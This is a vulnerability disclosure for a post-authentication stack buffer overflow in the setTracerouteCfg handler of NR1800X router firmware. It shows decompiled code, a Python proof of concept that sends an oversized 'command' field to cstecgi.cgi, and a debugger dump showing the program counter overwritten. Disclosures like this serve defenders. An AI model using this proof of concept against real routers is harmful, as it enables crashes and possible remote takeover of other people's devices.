NR1800X - bof - setTracerouteCfg

Hi, we found a post-authentication stack buffer overflow at **NR1800X** (Firmware version **V9.1.0u.6279_B20210910**), and contact you at the first time.

```
int __fastcall sub_420F68(int a1)
{
  char *v2; // $s1
  char *v3; // $v0
  int v4; // $s0
  char v6[128]; // [sp+18h] [-80h] BYREF

  memset(v6, 0, sizeof(v6));
  v2 = websGetVar(a1, "command", "www.baidu.com");
  v3 = websGetVar(a1, "num", "");
  v4 = atoi(v3);
  if ( !Validity_check((int)v2) )
  {
    sprintf(v6, "traceroute -m %d %s&>/var/log/traceRouteLog", v4, v2);
    doSystem(v6);
  }
  setResponse(&word_4370EC, "reserv");
  return 1;
}
```

In function setTracerouteCfg of the file **/cgi-bin/cstecgi.cgi,** the size of command is not checked, one can send a very long string to overflow the stack buffer via sprintf.

PoC

```
import requests url = "http://192.168.17.220:80/cgi-bin/cstecgi.cgi" cookie =
{"Cookie":"uid=1234"} data = {'topicurl' : "setTracerouteCfg", "command" :
"a"*0x100} response = requests.post(url, cookies=cookie, json=data)
print(response.text) print(response)
```

The PC register can be hijacked, which means it can result in RCE.

```
Thread 2.1 "cstecgi.cgi" received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

 V0   0x1
 V1   0x1
 A0   0x1
 A1   0x1
 A2   0x1
 A3   0x0
 T0   0x77518998 ◂— 0x6c5f5f00
 T1   0x77513738 ◂— nop
 T2   0xa21
 T3   0xffffffff
 T4   0xf0000000
 T5   0x1
 T6   0x3a22656d ('me":')
 T7   0x431668 (setResponse+396) ◂— move   $v0, $zero
 T8   0x39
 T9   0x775b20b8 ◂— lui    $gp, 2
 S0   0x61616161 ('aaaa')
 S1   0x61616161 ('aaaa')
 S2   0x61616161 ('aaaa')
 S3   0x8211b0 ◂— 'setTracerouteCfg'
 S4   0x44b000 (set_handle_t) ◂— 'setLanguageCfg'
 S5   0x821008 ◂— 0x6f74227b ('{"to')
 S6   0x821140 ◂— 0x0
 S7   0x770318b4
 S8   0x770318b4
 FP   0x7fa7ebc8 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
 SP   0x7fa7ebc8 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
 PC   0x61616161 ('aaaa')

Invalid address 0x61616161

00:0000│ fp sp  0x7fa7ebc8 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
... ↓

 ► f 0 61616161

Program received signal SIGSEGV (fault address 0x61616160)
pwndbg>
```